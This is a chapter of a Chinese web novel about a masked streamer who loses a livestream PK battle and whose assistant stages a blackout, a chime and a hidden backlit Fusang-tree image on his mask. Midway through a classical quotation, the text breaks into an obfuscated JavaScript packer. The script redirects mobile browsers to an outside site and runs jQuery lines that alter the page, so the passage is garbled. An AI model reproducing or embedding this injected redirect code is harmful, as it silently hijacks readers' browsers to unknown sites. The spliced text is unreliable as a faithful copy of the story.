倒计时不过三十秒，临近PK尾声，双方的数据正打得难舍难分，青阳的直播间画面陡然一片漆黑！


    徒留评论区在怔愣一瞬后沸腾。


    【？？？】


    【什么情况？】


    【是我卡了？怎么一片黑？】


    【也没显示下播啊？？？】


    【看见大家都一样，我就放心了】


    ……


    对手送人头，不接是傻瓜。


    猴子捞月仿佛再次得见神迹，本人也已经陷入了几近疯狂的状态，手舞足蹈地高喊着“3！2！1！”，在倒计时后语速极快地轮流接了一遍贵价礼物的名称——


    自然，真听从指挥刷最贵礼物的大姐大哥是没有的。


    但在他都快撕裂的嗓音催化下，中低层礼物连续送出，直播间的收入也如受到极大鼓舞一样暴涨，生生将数据从危险的临界一点点逼到了超过对方！


    不能任由自己支持、看好的一方输掉！


    就要支持长相和普通话都不标准的爱播碾压对方！


    对面看起来更高级，现实里也许根本遇不到又怎样，到了网络上的直播，花钱的就是主子，只要对方输掉……什么折辱的惩罚还不是胜利方说了算？


    失败绝不会仅是爱播的失败，明明更是找个乐子打发时间，都不能成功的自己再一次被打趴……


    这种狂热的氛围令人无比上头，连带着生理上好像真有热血充斥控制了大脑。


    向来不屑参与直播PK的早马也被感染，差点就没按耐住给败绩已显端倪的青阳支持一波。


    他的手指点开了礼物选择页面，好险被共同观看的理智女友迟花按住了。


    “这位小朋友，之前不是和你商量好了，就算你想分享得到的奖金给他，最早也等到第二次PK对决再行动吗？”她提醒道。


    “过早行动，也许会打乱对方已有规划呢。”


    下午，早马收到青阳临时询问能否再延期发布视频的消息，顺便得知了缘由。


    他为人向来爽快大方，之前就有将到手的税后奖金平分的意思，直接转账也被对方退回，这下便顺势提出晚上去支持他PK。


    “对方正在输入中”的状态延续了好一会儿，青阳终于道谢接受，并且提出麻烦早马愿意支持的话，请最早也等他第二次PK时再支持。


    当初街头偶遇拍摄完毕，迟花看着青阳他们一群人说说笑笑离开的背影，就曾点评过：“这个少男，实在是很有意思。”


    后来种种，不过一一验证女友的预判，早马从来对她心悦诚服。


    工作室的其他伙伴们下午四五点就已下班回家，此刻早马与迟花两人独占偌大的房间。


    桌上专为修图剪辑而配备的高清大屏显示器上，遗憾地宣告青阳最后惜败的结果。


    人在表现极度狂喜时，脸上的表情未必是好看、能被欣赏的，比如直播里笑得皱纹沟壑在前额与眼周齐飞的对面主播。


    做剪辑的，总喜欢将人物大悲大喜的极端情绪表现场景处理成无声效果，不是没有道理的。早马想，猴子捞月的大笑声实在刺耳。


    他低头按下“发布”，在原定计划的推广费上又加了一笔。


    祝他和青阳，这个视频再次好运，更加爆火。


    除了眼前骤然全黑时惊讶的一声轻咦，裴率全程都很淡定。哪怕直到他彻底输掉，谢知之一直按兵不动，没有按照常理迅速恢复电闸。


    现下，猴子捞月猖狂的得胜笑声里，他倒还有心，看着评论好声好气地回复。


    “没什么大事，就是突然停电。”


    “‘既然停电，主播怎么没彻底下线’？……热知识：电脑本来就有电池续航，联网还能是手机热点……你们会觉得现在的直播看起来有点卡吗？……不会？那好……”


    “‘喜欢现在这种聊天的内容直播，希望主播完全放弃游戏，转换赛道’……必不可能好吧……这位观众，就是说，有没有一种可能，我直播就是为了打游戏？”


    ……


    现在就全靠电脑发散出的微光，映亮他整个人安坐黑暗中的大致轮廓。


    “‘什么时候来电？’”裴率顺口念出这个问题，顿了顿，由得谢知之自己领会，才道，“我这边的助理在催了。”


    “等惩罚开始吧。”她道。


    目前最表层的面具还藏有没展示的内容，在黑暗环境里效果更佳。


    直播PK出结果之后，紧接着就是惩罚环节，这一阶段的持续时间也由主播商量着来。


    有时候是完成了对方指定的某一行为就算惩罚结束，有时候是要保持某种状态，比如开启某种整蛊滤镜维持一段时间。


    【惩罚搞起来！！！】


    【这么好看的面具下面……会是什么样？】


    【快快快，让对面脱面具！】


    【都出来直播了还不露脸，能赢才怪】


    【就是这种更该让他暴露出来真面目】


    谢知之在平板上分屏，用小号先在猴子捞月的直播间带了一波节奏。


    【支持！惩罚就露脸吧！！！】


    【这种戴面具出镜的肯定非常见不得人！】


    【这不是惩罚最恨的一集？[偷笑]】


    【但确实好刺激】


    ……


    眼见得评论区很快就如她预料地倒向，谢知之提醒裴率：“你现在可以自然一点地打开身后的小台灯啦！注意不要移位喔，有机关的。”


    下午在客厅布置直播的区域时，她也是花了心思的。


    直播的电脑屏幕后方有设立光源，确保打光效果可以制造出主播眼里的“星星”，身周不出镜的地方也有放置专门的补光灯。


    反而是放在他身后简易书架上的应急小台灯，用处只有一个。但摆放位置，连同书架上的书册顺序，全都是精心设计过的。


    裴率向谢知之应了好，刚巧看到评论区有人在提问：“‘没有备用灯？’”他顺势道，“有的，我想想……好像是有个小台灯……”


    按照下午演练过的记忆，裴率没有回头，反手在身后书架上精准摸到了台灯的开关。


    被掰到灯泡直对正前方的台灯亮起的同一刹那！


    “当——当——当——”


    沉重到足以动人心魄的钟磬声被光惊起。


    简直仿佛就敲在直播间观众的心脏上或双耳中！


    只见电脑屏幕里呈现的画面中，原本就是从面具左脸上方支出、半悬的金乌羽翼，沉浸在直射的亮光里后，竟又浮现出了新的图案！


    一株像是由两树互相缠绕而生的参天大树，根长在波纹里，叶片如桑，树枝上纷纷还栖息着燃烧在火焰里的神鸟——


    传说中的扶桑神树。


    谢知之花钱找祝姐约稿时，提供的要求参考了东方朔《海内十洲记》的设定：“扶桑在碧海之中，地多林木，叶皆如桑，长者数千丈，大二千余围。树两两同根偶生，更相依倚，是以名为扶桑。”


    而《山海经·大荒东经》记载：“汤谷上有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433257|170409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扶木，一曰方至，一曰方出，皆载于乌。”所说的“扶木”同即“扶桑”，是她这样构思设计的灵感来源。


    现在这样的呈现方式，怎么不算一种“载于乌”的变形呢？


    裴率和直播间的观众一样，今天才第一次看见面具完整组成形态，更别说是隐藏的特殊效果。


    【？！！！这活整得……没话说】


    【这又是什么神迹！】


    【是只有我看见神鸟的时候还听见钟声吗？跟远古传来召唤一样，我现在头麻脚软……】


    【建议严查对面主播，我说真的……】


    【整得我都不好意思要求恶搞惩罚了，窗外刚刚还一个打雷，我真怕被天罚】


    ……


    谢知之注意着两个直播间的动态，确保观众已经看到并且纷纷开始有了反应，这才施施然飘去重拉上电闸，提醒裴率要及时关掉身后的灯。


    室内恢复光明的同时，神鸟羽翼上的扶桑立时隐去，仿佛海市蜃楼、昙花一现。


    她给出的观看时间实则不过几十秒，如果不是顾虑戴着面具，裴率简直都想伸手揉一揉眼睛确定。


    为了和正常光线的羽翼流金效果做出反差，进一步拔高格调，谢知之和祝姐商量定下的扶桑图，不仅整体采用的黑色剪影效果，而且画风还参考的汉代画像砖，古朴简洁得近乎有种渗人的神秘感。


    再加上直播中无缘无故的骤然停电，和突兀三连响的钟声……震慑的氛围感拉满，至于最后效果能达到哪一步，可以另说。


    裴率还是忍不住伸手，堪堪停在了触碰之前。


    “这是怎么做到的？”他在意识里好奇询问，已经没耐心等到直播结束。


    “钟磬声来自连着充电宝的小型蓝牙音响，”谢知之一指沙发前茶几上的简易装备，“当然，音量事先调到了最大。”


    “至于扶桑树么，”她揭秘道，“是在亚克力半透镜的原理基础上弄出来的。”设计面具的时候，想起了她意外穿来前刚抢到手、都还没来得及发货的谷子[注]……灵机一动。


    在正面看，和从背后打光，就会有几乎完全不同的效果呈现，实在是很伟大的发明。


    裴率这边氛围极好，对面本该是最大赢家的猴子捞月却坐不住了。


    惨白的直播间美颜滤镜下，猴子捞月的脸色都快透出青灰，看得出来他在强撑，努力捋直了舌头僵硬道：“我这边提出的惩罚要求很……简单。”


    “你脱下这层面具。”


    平板上他的直播间评论区画风越发灵异，都快成了都市怪谈夜晚接龙。


    不枉她还手动配上BGM地忙活了这一番。


    裴率眉梢一动，严谨地重复确认：“你确定本次惩罚就是脱下一层面具吗？”


    0807号道：“宿主也是跟用户真学到东西了。咬文嚼字。”


    猴子捞月的确认声刚落地。


    裴率双手在双耳后轻轻一拨。


    半轮深蓝的月亮就此自他脸上飘落，两端上下还飞舞着轻盈的山月槽舌兰。


    修长而骨节分明的手指，温柔地捞住半空中坠落的月亮。


    他再微抬首直面镜头时，依旧丝毫未露人脸。


    月亮的背后，燃烧着的是半片青铜火海，先前仿佛好奇探月的金乌似乎都变了神态，正优哉游哉地与火焰相亲。


    一层面具之下，当然还是另一层面具。


    裴率在开播前就凭触觉认识到了这一点。


    层层叠叠，仿佛面具无穷尽也。